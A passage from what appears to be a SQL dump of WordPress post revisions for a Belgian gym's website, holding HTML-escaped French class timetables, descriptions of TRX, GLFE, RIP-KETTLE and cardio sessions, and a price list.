class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:39:04', '2013-10-05 08:39:04', '', 11, 'http://www.crosstrainingcenter.be/11-revision-117/', 0, 'revision', '', 0),
(345, 1, '2013-10-05 08:37:45', '2013-10-05 08:37:45', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h30&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:37:45', '2013-10-05 08:37:45', '', 11, 'http://www.crosstrainingcenter.be/11-revision-116/', 0, 'revision', '', 0),
(349, 1, '2013-10-05 08:49:46', '2013-10-05 08:49:46', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td 